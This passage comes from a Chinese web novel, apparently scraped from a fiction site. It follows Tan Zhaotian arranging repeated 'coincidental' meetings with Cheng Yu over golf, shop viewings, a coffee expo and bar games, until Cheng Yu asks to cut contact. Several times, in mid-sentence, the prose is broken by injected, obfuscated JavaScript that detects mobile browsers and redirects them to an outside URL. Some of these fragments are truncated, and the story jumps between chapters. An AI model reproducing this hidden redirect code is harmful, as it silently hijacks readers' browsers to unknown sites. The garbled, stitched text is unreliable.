一直聊一直聊、边吃边聊，通过程郁聊高尔夫的神情和语气，谈兆天自然知道了程郁喜欢高尔夫。 于是投其所好的，谈兆天说他那里有个某知名高尔夫球星的签名照，他放着也是放着，问程郁要不要。 “给我吗？” 程郁惊喜：“你舍得的话，可以啊。” 谈兆天面上不显，眼底藏笑——程郁不收礼，但他这不就把东西送出去了。 谈兆天：“我改天拿给你。” 又说：“要不要在球场办个会员？有空过来打球。” 程郁知道这种球场的会员一般都挺贵的。 他想了想，如实道：“我倒是想，太贵了。” 普通会员的会费一年起码十几万。 谈兆天：“不收你钱。” 程郁摇摇头。 他知道谈兆天是好意，但这份好意的背后不是朋友友谊，是别的，程郁自然不会接受。 谈兆天这时也意识到自己目的性太强、显得刻意，便没有坚持，依旧不勉强程郁，很快略过这个话题，只是说：“改天一起打球。” “好啊。” 程郁觉得这个可以。 谈兆天马上道：“这周末？” 程郁想了想，爽快道：“行啊，这周应该不用加班，那就这周末。” 于是周末，程郁特意穿了短袖的polo衫，戴了帽子，来这边的球场和谈兆天打室外高尔夫，而没有应下张君宁临时的邀约。 “你在哪儿啊？” 程郁接到张君宁的电话，问他在哪里。 程郁站在遮阳伞下面，手机附耳，脸上戴了墨镜，另一手是支地的球杆。 他边看着不远处的谈兆天，边对手机那头的张君宁道：“我出来打高尔夫了。” “啊？” 张君宁：“你怎么不喊我啊。” 又改口：“还是算了，这天这么晒。” 已经五月份了，五月份的太阳挺晒人的。 恰好这时谈兆天挥杆，一杆将球挥出，球抛得又高又远，是非常漂亮的一球。 程郁看见了，下意识喊了句“好球”，被手机那头的张君宁听到了。 张君宁便问：“你在和谁打球啊？” 程郁回：“谈兆天啊，大G哥。” “啊？” 张君宁惊讶：“你上周末和我一起按摩的时候不还说等过了新鲜期，你们就没话聊见面少了吗。” 程郁就解释周一陪老板和大佬打球时候偶遇了谈兆天，不但球场就是谈兆天和人合伙开的，谈兆天也喜欢高尔夫，于是两人约出来打球。 张君宁：“……” 张君宁没在意谈兆天生意多、又能和程郁偶遇这个点，而是笑说：“行啊，可以啊，我就说大G哥有‘后招’的吧。” 又揶揄：“行了，您们打球吧，不妨碍你们约会了。” 程郁纠正：“什么约会，没约会，就打会儿球。” 张君宁哼：“我信你个鬼哦。” “孤男寡男的，人家又喜欢你，在追你。” “一起打球，不是约会是什么？做慈善啊。” 程郁说不过张君宁：“行行，你说约会就约会吧。” 恰好这时在不远处挥完杆的谈兆天转身望了过来，程郁戴着墨镜的眼睛看过去，抬手朝男人挥了挥，对手机那头的张君宁：“行，那挂了。” 挂掉手机，程郁从遮阳伞下走出来，边戴起手套边走向谈兆天，笑着说：“你刚刚那杆真漂亮啊，球的落点也好，离洞口肯定很近。” 谈兆天今天穿了件简单的黑T，打球也不戴手套，但他人高、腿长，手拿球杆，又有欧美人喜欢的晒出来的偏暗肤色，看起来就跟高尔夫球星似的。 …… 当天，两人打球就打了好几个小时，程郁打得又开心又尽兴，结束之后一直是笑着的，和谈兆天一起坐电瓶车从最后一个果岭往回赶。 谈兆天的心情也好，开着电瓶车，和身边的程郁聊着天，笑意一直在唇边。 当晚，两人也一起吃了顿饭，谈兆天请的，吃的是程郁喜欢的路边的苍蝇馆子，有菜有啤酒还有烤串，吃吃聊聊、喝喝啤酒，不要太惬意。 晚上，程郁发了条朋友圈，是他白天在高尔夫球场打球的各种照片，其中一张有谈兆天预备挥杆的侧影，还有一张是拍的桌上的菜和啤酒，照片一角有谈兆天搁在桌上的手，也发了谈兆天给的高尔夫球星签名照。 程郁为这条朋友圈附言：又是一个开心的周末~ 得到了很多赞，也有很多留言。 谈兆天也赞了。 张君宁则在这条朋友圈下面说：【靠，离那么远拍，脸都看不清，你好歹拍张脸啊。】 又说：【手看着还不错，那血管青筋，蛮有感觉的。】 第三条：【他都攻进你朋友圈了，进你心里还不是早晚的事。】 程郁看见了张君宁的留言，可不这么认为。 不过是一起打个球吃个饭，被他拍到发了条再寻常不过的朋友圈，这有什么。 结果新的一周的工作日，这天，程郁又偶遇了谈兆天—— 周三，程郁陪陆泽深去隔壁C市临时出个短差，坐的是陆泽深的迈巴赫，司机开车。 路上，陆泽深想喝杯咖啡，顺便上个厕所，车便在中途一个服务区暂停。 车开进服务区，在划线的停车位挺好，程郁从副驾下来，准备进服务区，帮陆泽深买咖啡，刚走了几步，身后有人喊他：“程郁。” 程郁一下听出是谈兆天，“？”地转头，看见走近的谈兆天，脑袋上闪过问号。 这都能又遇见？！ “又这么巧！” 程郁自然惊讶，问走到他面前的谈兆天：“你去哪儿？” 谈兆天伸手示意了下大车区那边的一辆货车，解释：“跑个短途，送点东西。” 程郁：“生意？” 谈兆天：“嗯。” 程郁心想绝了，这都能遇见。 两人一起往服务区里走，程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谈兆天在迈巴赫驶过的时候，又在最右侧的慢车道按了喇叭和车灯。 程郁好笑，也按了双跳，回应谈兆天。 这件事和再一次的偶遇，程郁通通都没有挂在心里。 他想巧合就是巧合，无巧不成书，不然呢，总不能是谈兆天天天没事做跟踪他，谈兆天没那么无聊，也不是变态。 巧就巧吧。 人生么。 结果当周的周日，程郁又又又又又又偶遇了谈兆天—— 周日，程郁开车去了自己的咖啡店，过去看看，顺便帮送点纸杯盖子等消耗品。 老街，还是旅游景点，车开不进去，程郁就把车停在离店面不远的巷子尽头的一个小停车场。 他从后备箱拿出一个装着纸杯的大箱子，抱着，走去咖啡店，准备等到了咖啡店再拿咖啡店的小板车，回来拉后备箱的一堆东西。 结果抱着大纸箱走了一半，他突然看见了迎面走过来的谈兆天。 程郁：？？？ 20.第 20 章 程郁都懵了，心想这到底得巧到什么程度，才能一次一次又一次次的偶遇？ 不是，他们两个到底有多少可以交集的场合啊？ 是最近的地球磁场不对？ 还是什么三维五维的空间混乱了啊？ 程郁看着迎面走来的谈兆天，满心惊愕。 谈兆天这时也看见了程郁，挑挑眉，走过来。 而男人一走近，站定，就马上伸手把程郁手里的箱子接了过去。 程郁光顾着在心里疯狂吐槽这又一次的偶遇了，等回过神，手里的大箱子已经到了谈兆天怀里。 “不用，我自己来。” 程郁好歹一米八的大男人，不至于抱个箱子还要人帮。 “去哪儿？” 谈兆天没把箱子还给程郁，转身，朝着他来的方向，跟着解释：“我有店在这儿，过来看看。” 说着往前走。 程郁跟上，看看谈兆天，下意识问：“什么店啊。” 他生意真的好多。 谈兆天抱着箱子往前走：“某雪冰城，前段时间刚开。” “……” 程郁看谈兆天，更意外了，说：“那家某雪冰城是你的啊。” 嗯？ 谈兆天也转头看向程郁。 程郁解释：“你旁边的那家咖啡店，是我的。” 谈兆天可能也觉得一次次的偶遇实在太巧，笑了。 程郁没笑，他实在想不出到底是怎样的“缘分”，能让他和谈兆天之间产生这样无数次的巧合。 行吧。 程郁服气。 “我请你喝咖啡啊。” 程郁边走边道，又聊道：“你家生意好吗？” “以前你们家那个门面是卖饺子的，做得不太行。” …… 两人边走边聊咖啡奶茶的生意和加盟。 等到了，程郁说了声“麻烦你了”，准备从谈兆天怀里接过箱子，但谈兆天没给他，用后肩抵住，推开了咖啡店门口的玻璃门，进店，把箱子一直帮程郁送到店里。 “谢谢。” 程郁道谢，进吧台，把箱子抱去后面的储物间，又去拿小推车。 他出来，谈兆天还在，问他：“还有吗？” “我自己去拿好了，我有这个。” 程郁拉着小推车出来。 “一起吧，我刚好要去停车场。” 谈兆天说着走近，伸手就要从程郁手里接过推车。 程郁：“没事，我自己来。” 谈兆天已经伸手握住了推车的车把，拉着车推开了玻璃门。 程郁没有“争”得过他。 两人再一起往停车场走，继续边走边聊，聊的都是奶茶咖啡的生意经。 不知不觉，很快到了停车场，把小推车推到宝马车屁股后，谈兆天又帮忙把东西一箱箱地往推车上搬，搬完再帮拉推车，回咖啡店。 程郁跟上，对谈兆天说：“你去忙你的吧，我自己来。” 谈兆天拉着推车，没把推车给程郁，只是说：“送完东西有别的事吗？” “没，我今天休息。” 程郁如实道。 谈兆天便说：“中午一起吃饭？就附近。” 刚好快到饭点了。 程郁反正一个人，也没事，便答应了。 于是这个周末的中午，程郁又是和谈兆天一起吃的饭。 点的面，一人一碗，又另点了一荤一素两个菜。 边吃边聊，这回两人不聊高尔夫了，聊咖啡奶茶和加盟之类的话题。 聊着聊着，谈兆天说起自己今天为什么过来。 原来老巷这边空出了一家店，想找人接盘，在离他们的咖啡店奶茶店较远的另一头，很窄很小的门面，谈兆天特意过来看看。 “转租啊？” 程郁有点意外：“这里人流这么大，还是景区，开什么都有人买，这样还能空出门面吗。” 程郁说：“我当初能租到，还是因为租得早，我一口气租了十年。” 谈兆天解释：“这里现在一般不对外租，价格也高，谁有门路谁来开店。” 又说：“吃完了要不要一起去看看。” “行啊！” 程郁来劲了，眼睛都亮了，门面什么的，有得看当然要去看。 于是吃完，程郁跟着谈兆天，两人去看门面。 门面是不大，窄窄仄仄的一个，总共加起来才十平多一点儿，从前开的是个卖手工艺术品的小店，开了快十年，原先的老板改做别的了，就不租了，房子这才空了出来。 程郁和谈兆天一起看门面，也一起听原先的店主和铺子的东家聊房租和最近的人流等话题，一待就待了快一个小时。 期间程郁默默拿眼睛打量铺子，谈兆天便站在一旁悄悄看程郁，眸光里流动着静默的深沉。 后来程郁和铺子的东家站在铺子门口闲聊，谈兆天走去一旁，低头给人发了条消息：【老街这儿，附近，哪里还有可以看的门面，全部发给我。】 对方回：【天哥，现在就看吗？】 不久，程郁和房东聊完了，谈兆天走过去，对程郁说：“还有别的门面，要不要也一起看看。” 程郁的眼睛又亮了：“好啊，可以啊。” 于是这个周日的下午，程郁跟着谈兆天一直在看门面和铺子，连跑了好几个地方。 程郁很积极很来劲儿，看得也蛮开心的，他虽然当年只是误打误撞才加盟了咖啡店，没什么生意经，对开店做生意这行了解得不够多，但架不住他对赚钱感兴趣，能逛逛各种路上的各种铺子，他当然不会错过这样的机会。 而且和谈兆天一起，谈兆天告诉了他很多开店人才知道的关窍，程郁也学到了很多从前自己不会不知道的东西，这也是程郁喜欢的。 只是程郁不知道，每次他在铺子里盯着到处看，或者和房东中介聊天的时候，谈兆天都会默默在一旁注视他看着他。 当天逛完铺子，出来，已经快五点了，程郁看看时间，对谈兆天道：“一起吃饭吧，我请。” “好。” 谈兆天嘴角抿了丝笑。 因此当晚，程郁还是和谈兆天一起吃的饭。 两人吃的火锅，荤素都点了不少。 涮着菜，程郁和谈兆天边吃边聊，话题主要围绕铺子的租赁和一些品牌的加盟。 程郁吃得认真，饿了；他听谈兆天聊这些，也很认真，因为很多他之前都不懂，有人毫不保留地和他分享经验，他当然要好好听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15292253|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿火锅就这样在吃吃聊聊中结束了。 走前，谈兆天起身去卫生间，程郁坐在原位，把最后两口果汁喝光，靠着椅背，匀了口气，肚子饱饱的，心里也舒坦，觉得今天这一天真不错，逛了铺子，也学到了很多。 他这时收到张君宁的消息：【在干嘛？我好无聊啊。】 程郁回：【没喊人陪你去酒吧？】 拍了张桌子上吃完的残羹空盘，发过去，说：【我刚吃完火锅。】 张君宁：【和谁啊，你哪个朋友。】 程郁：【谈兆天。】 程郁正打字，准备告诉张君宁自己看了一下午的门面，就见张君宁那边发过来一溜的表情包，各种各样的都有。 程郁删掉原先打的字，回：【？】 张君宁：【挤眉弄眼.jpg】 【又是大G哥啊。】 【可以啊，这男人。】 【我就说他不一般。】 【他一周到底和你吃几顿啊。】 【我怎么觉得你们天天泡一块儿啊。】 程郁：【不是泡一块儿，是很巧，又碰到了。】 跟着便和张君宁说了他咖啡店旁边的某雪冰城是谈兆天的。 【你说巧不巧。】 【我都惊了。】 张君宁又发来一溜的表情包：【偷偷坏笑.jpg】 【巧不巧什么的，我才不管。】 【我就知道你今天和他吃饭，昨天和他吃饭，前天和他打高尔夫。】 【哪儿哪儿都有他。】 张君宁：【要不说人家能开大G，追人这方面，我看他还是有几把刷子的。】 程郁见张君宁在这儿活蹦乱跳的，没多说什么。 他回：【吃多少饭，我该是单身主义还是单身主义。】 【你的十万早点准备好。】 新的一周工作日，和往常没什么不同，一样的时间起床，一样的工作日早晨，一样是出门之前端一杯咖啡，一样在到公司的时候收到跑腿小哥送来的花。 唯一有什么不太一样的，是谈兆天午饭前发来消息，说：【我今天有事，中午刚好在你公司附近，有空吗，要不要一起吃饭？】 程郁忙完才看到，回：【可以啊。】 【你看吃什么，发我，我中午直接过去。】 谈兆天：【好。】 到了中午，同事们陆续离开工位，去吃午饭。 小念过来：“师父父，今天一起吗。” 程郁起身：“不了，我约了人。” 一个同事听见了，马上道：“是上次送花的那个？” “当然不是。” 程郁自然否认，走出工位。 不久，到了约好的餐厅，进门，程郁扫视餐厅，找人，一眼看到临窗的位子，谈兆天正抬手示意他，程郁看见，笑了笑，抬步向男人走去。 走近了，程郁笑着，对谈兆天揶揄：“好歹今天不是巧合，没有又偶遇。” 坐下，非常自然地问谈兆天：“今天怎么来CBD这边了？” 程郁这时候根本没有意识到，他在工作日的中午，和追求他的男人一起共进午餐，还说说笑笑，这在过去，根本就是绝对不会发生、他也绝不允许发生的事情。 21.第 21 章 边吃边聊，程郁这才知道谈兆天今天为什么会在这边—— 谈兆天相中CBD这儿某大厦楼下临街的一个门面，租下了，准备做咖啡店，今天带人过来拆之前店里的装修和设备。 程郁不免惊讶：“你都有那么多生意了，还在扩张自己的事业版图啊。” 程郁赞道：“你事业心好强，好厉害啊。” 谈兆天提议：“要不要吃完了一起去看看。” 嗯！ 程郁有兴趣，点头：“行啊，我也去看看，取取经。” 谈兆天面上没流露，眼底隐隐有笑。 于是吃完，两人离开餐厅，一起去谈兆天新租的那个铺子。 到了，程郁认出那家店，原来开的餐厅，卖蛋包饭这种简餐，程郁和同事一起过来吃过两次，味道不好不坏，生意也不好不差，没想到已经关了。 “原来你租的这家。” 原来的餐厅已经歇业了，程郁跟着谈兆天推开玻璃门，走进。 进去，外面吃饭的大厅还是原样，桌椅都在，里面的厨房已经拆了七七八八，这会儿工人还在拆，传出乒乒乓乓的动静。 程郁站在店里，抬着眸光，四处扫视、看着，谈兆天站在一旁，两手插兜，高高地立着，时不时看看程郁，又在程郁专心注视打量某个地方的时候，盯着程郁的脸看，眸光流露深意。 “这里一个月多少租金？” 程郁转头看男人，问了句。 谈兆天瞬间收敛眼神，自然地回视程郁，报了一个价钱。 程郁点点头，再去打量店内：“不便宜。” 他自己就是开咖啡店的，有经验：“你这么大的店，一天得卖多少杯才能回本有得赚啊。” 又说：“我那家店才雇了三个人，人工成本就不低了，你这里轮班，少说也要雇七八个人吧。” 两人在店里，就卖咖啡的话题聊了会儿，不久，程郁走了，回去上班。 谈兆天送程郁到门口，程郁走后，谈兆天回来，后厨出来个男人，来到谈兆天身边，先凑头好奇地望了望外面程郁离开的方向，跟着对谈兆天道：“天哥，这么突然啊。” “这店你早上才看了当场签下来，中午就拆啊。” 男人说：“我刚刚心里琢磨了下，这么大的店，卖咖啡，这店能赚钱吗……” 说着看看谈兆天，从裤兜里摸出烟，取出一根，递给谈兆天。 谈兆天接了，随手丢嘴里，抿着，没点火。 他抬手，掌心捏了男人的后颈：“不该问的别多问，亏也不亏你的钱。” 又说：“装修给我盯仔细了，不用急着装好，可以慢慢装。” “以后每天中午，我都过来看一眼。” “每天啊？！” 男人缩脖子，“受宠若惊”，为难：“哥，你这是多不放心我……” 谈兆天抬腿，不轻不重地给了他一脚：“废话多，干活儿去。” 稍微晚些时候，“肉狗兄弟一辈子”的大群里： 【我怎么琢磨这次这家咖啡店开得那么不对劲呢？】 【那么大面积的店，就卖咖啡，还不是加盟，自营的品牌，感觉怎么算怎么亏啊。】 【你个傻吊，还没反应过来啊。】 【天哥这是开店吗，这是三十六计。】 【什么意思？】 【找个理由天天去见大帅哥呗。】 【噢噢噢噢！！！】 【？艹，我说怎么让我慢慢装认真装呢，原来是这样。】 【你也是傻吊。】 【滚！】 …… 这边，下午程郁空了，去茶水间倒水喝，想到谈兆天在楼下租的那个门面，又默默在心里算了算各项成本，怎么算怎么觉得难赚钱。 会亏啊。 程郁喝着水，默默心道。 他不明白谈兆天开这样一家咖啡店，后期要怎么运营赚钱。 难道有什么秘诀？ 程郁哪儿知道谈兆天“醉翁之意不在酒”，反正之后几天，谈兆天中午都在CBD这儿，也约了程郁一起吃午饭。 程郁恰好这两天都在公司，没跟陆泽深外出，收到谈兆天的消息，就答应了。 他中午和谈兆天一起吃午饭，吃完，再一起去店里看看，聊会儿装修，时间差不多了回公司。 一周五天，程郁见了谈兆天四面，吃了四顿午饭。 周四那天没见到，没一起吃午饭，是因为程郁没在公司。 周五，又一起吃午饭，谈兆天提议周日一起打球，还主动道：“如果不打高尔夫，篮球足球羽毛球也都可以。” 又说：“高尔夫再打半个月，就要热了，太晒。” 程郁想想觉得谈兆天说的有道理，就点头应下：“那打高尔夫吧，趁着现在不那么晒。” “好。” 谈兆天眼底有笑。 谈兆天又问起程郁周六有没有约，程郁原本有别的计划，一听说谈兆天准备周六去逛一个咖啡博览会，顺便帮店里订咖啡机和咖啡豆，马上来了兴致，毕竟他也有家咖啡店，这种咖啡博览会，他从前还真没有逛过。 谈兆天提议：“那一起去看看？” “可以啊。” 程郁点头。 谈兆天的嘴角差点没有压住——被他得逞了。 于是周六，程郁睡了个懒觉，中午前起床，先和过来接他的谈兆天在公寓附近随便吃了顿午饭，再一起开车去咖啡博览会。 路上，两人一直聊咖啡店的话题，从谈兆天那家咖啡店的装修，聊到店面的运营成本，再聊到煮咖啡做咖啡。 程郁是因为自己开咖啡店，所以这方面多多少少了解一些。 而他很快发现谈兆天这方面了解得一点儿不比自己少，什么都知道，什么都能聊，完全一副经验老道的样子。 程郁以为谈兆天在别的地方也开了咖啡店，所以有相关经验。 问了才知道，谈兆天的生意里从前并没有咖啡店这个项目，这次CBD的这家店，是第一家咖啡店。 谈兆天解释：“店开多了，市面上有的项目，都会想一想，脑子里过一遍怎么开怎么经营、成本多少、能不能赚。” “平时也会想办法了解一些。” “我自己也喝咖啡，家里有咖啡机。” “像高尔夫馆，有些别的店，也会需要买咖啡机做咖啡。” “你好厉害啊。” 程郁禁不住夸了句。 他不是客套的恭维，是真的打心底觉得谈兆天很厉害。 因此一路上，程郁聊得都挺开心的。 这种有来有往的聊天如同职场上的头脑风暴，大家各抒己见又能有不少相同的看法，很容易拉进彼此的距离。 谈兆天也感觉到程郁一路都聊得很高兴，外加被程郁当面夸厉害，他自己的嘴角都有些压不住。 等到了咖啡博览会，两人逛得也很开心—— 程郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15297460|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在场馆内见到了各种各样不同的咖啡豆、设计精美的咖啡纸杯、不同款式的咖啡机、磨豆机、手冲壶等等。 两人品尝了不同的豆子不同的工艺磨成的不同口味的咖啡粉； 也尝了各种常见以及不常见的风味咖啡； 程郁陪谈兆天逛了逛咖啡纸杯，见到了各种或有巧思或奇形怪状的杯子； 还陪谈兆天逛了满场所有的咖啡机设备，在工作人员的介绍下了解不同的设备，还试着用不同的设备做咖啡； …… 两人逛了整整三个多小时。 程郁逛得很开心，增长了不少见识和咖啡相关的知识量，也喝了不少咖啡，厕所都上了好几次。 展会上，谈兆天也订了咖啡豆和咖啡机，找一家设计不错的纸杯商要了联系方式，谈了谈合作。 期间，程郁站在一旁，听谈兆天和供应商聊合作与订购。 他发现谈兆天和人聊这些的时候一改日常的言简意赅风格，很是能说会道，同时也爽快，砍价不会往死里砍，而是追求长期合作，和几家供应商聊得都很愉快。 结束，从展厅出来，去坐电梯下地库，程郁边走边笑着对谈兆天道：“不能叫你名字了，也不能叫你谈老板，得叫你谈总。” 谈兆天订的咖啡豆很多，当时那两家豆商眼睛都亮了，明显是在接待大客户。 谈兆天看看程郁，笑了笑。 程郁这时问出心里的不解：“怎么订了那么多啊？” 就算有其他生意的场合需要咖啡豆，不是专门的咖啡店的话，消耗有限，应该也不需要那么多豆子。 谈兆天解释：“有几家便利店，店里也卖咖啡，豆子用的比较多。” 程郁问：“便利店？全家这种？” 谈兆天：“自营的牌子，惠家。” 程郁知道“惠家”，S大和理工院都有。 程郁惊讶：“原来那也都是你的呀。” 天啊。 程郁诚心诚意地恭维：“你真的是谈总。” 抬抬手，看看时间，说：“谈总，走吧，找个餐厅，我请你吃晚饭。” 谈兆天：“今天我请吧。” 又说：“晚上要不要去KeepLip喝两杯。” “要是觉得KeepLip太吵，有别的清吧，那里没那么吵。” 程郁想都不用想：“可以啊，喝两杯。” 反正明天星期日。 顿了顿，“不过今晚要是喝了，明天的球我就打不动了，得家里蹲了，不然周一没力气上班。” 两人说着走出电梯，走向大G。 谈兆天帮忙拉开了大G的副驾门：“那就少喝两杯，多玩儿点别的。” “玩儿什么？” 程郁上车：“你都会？” 晚上，KeepLip的吧台，热闹喧嚣中，程郁和谈兆天坐在一起摇骰盅，一人三个骰子，谁摇出来的点小谁输，谁输谁喝。 程郁和谈兆天各自拿着骰盅摇，摇完摆桌上。 程郁先掀盖，一个三点，一个五点，一个两点，总共十点。 谈兆天跟着掀，三个都是一点。 程郁：！ 程郁马上笑了，笑得氛围灯下的那双漂亮的眼睛都亮晶晶的，看着谈兆天，说：“你肯定会摇！你是高手！你还让我。” “你让我干嘛。” 谈兆天没二话，端起手边的酒杯就喝，喝完放下杯子，用含着笑意的眼睛看着程郁。 22.第 22 章 程郁当晚在KeepLip也玩儿得很开心。 谈兆天陪他玩儿骰子、陪他玩儿牌、陪他喝酒，还进吧台里帮他调酒。 程郁原本来酒吧就很放松身心，最近和谈兆天又渐渐处熟了，谈兆天能陪他玩儿，还什么都会，什么都玩儿得不错，程郁跟他一起玩儿，自然玩儿得很开心。 比如玩儿骰子，谈兆天一直控分，十次里，八次小，两次大，自己喝八口酒，只让程郁喝两口。 程郁的性格，是喜欢赢的，谈兆天让他，他其实不服，但谈兆天太会控分了，次次控出三个一，程郁根本玩儿不过他，又觉得这样好玩儿，笑得不行。 比如玩儿牌，谈兆天叫了酒吧里的另两人，四人一起。 程郁其实牌玩儿得一般，平时都是有赢有输。 结果今晚，谈兆天一直给程郁喂牌，程郁的牌把把都是王炸，次次都赢。 程郁第一次这么玩儿，玩儿得特别起劲，赢得特别嗨，还在打牌的时候悄悄看向谈兆天，冲谈兆天笑着挑眉、眨眼wink。 …… 酒吧不远处，两个今天看场子的小弟凑在一起，望着谈兆天和程郁那边，两人都是一脸不可思议。 一个对另一个说：“看到了吗，天哥在笑。” 另一个回：“真特么祖坟冒白烟了，见鬼了。” 一个说：“还真是大帅哥，长得真特么带劲儿啊，难怪天哥喜欢。” 另一个说：“我就见过别人陪天哥玩儿牌，被天哥耍得团团转，第一次见到天哥陪谁玩儿牌，对方还笑成这样。” “牛逼了。” “牛逼了。” 程郁这晚玩儿到快三点才离开，酒喝得不算多，但脸快笑歪了，非常开心。 从KeepLip出来，一直是笑着的，边笑边和谈兆天聊着天，还问谈兆天怎么学的摇骰子的技术，让谈兆天教教他。 谈兆天应下：“好，改天教你。” 又说：“太晚了，亚朵住吧。明天送你回家。” 如果程郁这会儿没这么开心，如果换平时，他肯定是要回去的，他没忘了谈兆天现在还不是他的朋友，是追求者。 但此刻，他又开心又喝了些酒，心情过于顺畅，一时也没想起来和谈兆天的关系，便同意了。 他跟着谈兆天坐了辆电车，去了附近的那家亚朵。 坐电梯上楼，程郁还在和谈兆天说说笑笑，谈兆天也唇边抿笑，时不时搭腔。 到房间门口，谈兆天止步，看着程郁：“你好好休息，我明天中午之前过来，带你去吃午饭。” 又说：“到时候如果你有力气，我们去打高尔夫，如果没有，我送你回家。” “好。” 程郁应下，站在房间门口，面对面看着谈兆天，笑笑：“拜拜，你也回去早点休息。” 谈兆天的黑眸锁着程郁，后退了几步，这才转身。 程郁是后来洗澡的时候醒过神的。 他想打个车就回去了，住什么酒店。 他一般前一晚或者凌晨喝了酒，第二天也不太出门，怎么又答应去打高尔夫了。 算了，住都住下了，答都答应了。 程郁没多纠结。 他周六一整天都很开心，心情好，不计较这些。 于是次日，中午醒来，换了身谈兆天带过来的衣服，程郁先跟着谈兆天在亚朵附近的小馆子吃了顿午饭，吃完，两人打车去了高尔夫球场。 程郁凌晨喝得不多，下午有力气，杆子挥得还算可以。 他和谈兆天一起，打过一个个果岭，依旧玩儿得十分开心——谈兆天的高尔夫，真心打得太好了。 一连打了好几个小时，打完，程郁累了，再跟着谈兆天去吃附近的海鲜大排档，吃吃聊聊，还是十分开心，程郁这个周末都有点乐不思蜀了。 等吃完，路边等滴滴，程郁忍不住对谈兆天道：“和你玩儿太开心了。” “我就说你太适合做朋友了。” 谈兆天看看程郁，唇边勾笑。 程郁说了句实在话：“你别追我了，真的。我们做朋友吧，我天天跟你出来玩儿。” 谈兆天的黑眸又看了眼程郁，接着看向不远处，先朝开过来的一辆车抬手招呼了下，然后对程郁道：“你的车到了。” “怎么说？” 程郁还看着谈兆天。 谈兆天：“当然不行。” 车开近，停下，谈兆天走过去，拉开车门。 “你考虑考虑呢？” 程郁走过去，预备上车，又在上车前止步，扶着车门看向谈兆天，笑说：“我真想和你交朋友，真的。” “上车吧。” 谈兆天示意他，同时明确回复：“不行，不交朋友。” “好吧。” 程郁上车，车门关上，又落下车窗，和车外的谈兆天挥挥手：“拜拜。” 跟着问：“你明天来店里看装修吗？一起吃饭啊。” “去的，到时候给你发消息。” 谈兆天也抬手示意再见。 当晚，程郁回公寓，想想这个周末两天，怎么想怎么开心。 要不是周一要上班，他又是个极有事业心的人，还真想这么再玩儿几天。 谈兆天发来消息：【睡了吗？】 程郁看见了，回复：【没呢。】 两人又在微信上聊了会儿。 次日，一早，到办公室，很巧，程郁在电梯遇见了准备上楼送花的跑腿小哥。 程郁问跑腿小哥：“送到16楼的？程郁？” 跑腿小哥：“对。” 程郁伸手示意：“给我吧，我的。” 程郁抱着花进的公司，前台差点被闪瞎眼——花和大帅哥什么的，真是绝配。 尤其今天的花束是清爽的淡紫色，被程郁抱在怀里，人衬花，花也衬人，格外好看。 而程郁到了工位，就拍了张花，发给谈兆天：【今天这个色系真好看。】 旁边工位的小念见了，有些好奇程郁在和谁聊，往常他们程总到公司，第一件事如果是脱外套，第二件事就是开电脑，很忙的，可不会像今天这样捧着手机不放。 中午，程郁和谈兆天在之前程郁跟小念一起吃过的那家融合菜餐厅碰头。 进餐厅，看见谈兆天正坐在桌边翻着菜单，程郁走过去，走近，笑道：“周末玩儿疯了，我今早上班都有点不在状态。” 谈兆天抬头看着程郁在对面坐下，也笑了笑，把菜单递过去，说：“看看吃什么。” 程郁自然地接过去，说：“这家我吃过，我看看，我来点。” 吃完，两人再一起去咖啡店。 一个周末过去，店里已经全拆了，墙被扒了，露出灰色的底砖，地上也是。 这会儿工人们去吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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程郁看着谈兆天的眼睛：“可是我也知道，这样的相处，让我有这样好的感官，对你的话，也会有相似的感受。” “但我们的立场终归是不同的。” 程郁一直没忘记，谈兆天不是他的朋友，是他的追求者。 程郁看着谈兆天，沉稳地说：“我很想交你这个朋友，如果是交朋友，出来玩儿，喝酒打球，都没有问题，怎么开心怎么来。” “但谈兆天，你在追我。” “我不想玩弄你的感情，不想我们频繁的接触相处之后，你对我产生更多更深的感情，可最后我还是什么都回应不了你，让你失望。” 谈兆天也放下了刀叉，看着程郁。 程郁沉稳的，诚恳的，认真的：“谈兆天，我想了想，我觉得我们还是减少接触吧。” “相处越多越频繁越愉快，我没什么关系，我始终只是拿你当朋友。” “但你不行。” “我也不想给你积极又错误的信号，让你觉得我们这样相处，是不是以后我会对你产生朋友之外的感情。” “不会，真的不会。” “我还是那句话。我是单身主义，我不会喜欢任何人。” 程郁看着谈兆天，下了最后的“判决”：“明天开始，我们减少接触吧，或者索性不要再见面了。” 50-60 第51章 9月13号这天发生的事，其重大程度，几乎可以上经纬的年报—— 陆泽深裁掉了整个项目二组。 二组全体当天早上被通知，几乎马上就在人事和其他部门同事的注目下，默默收拾东西走人。 